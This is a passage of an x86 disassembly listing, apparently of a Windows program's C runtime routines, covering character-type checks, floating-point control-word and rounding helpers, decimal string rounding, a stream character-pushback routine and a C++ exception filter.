; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		call	near ptr 2810000h
		nop
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


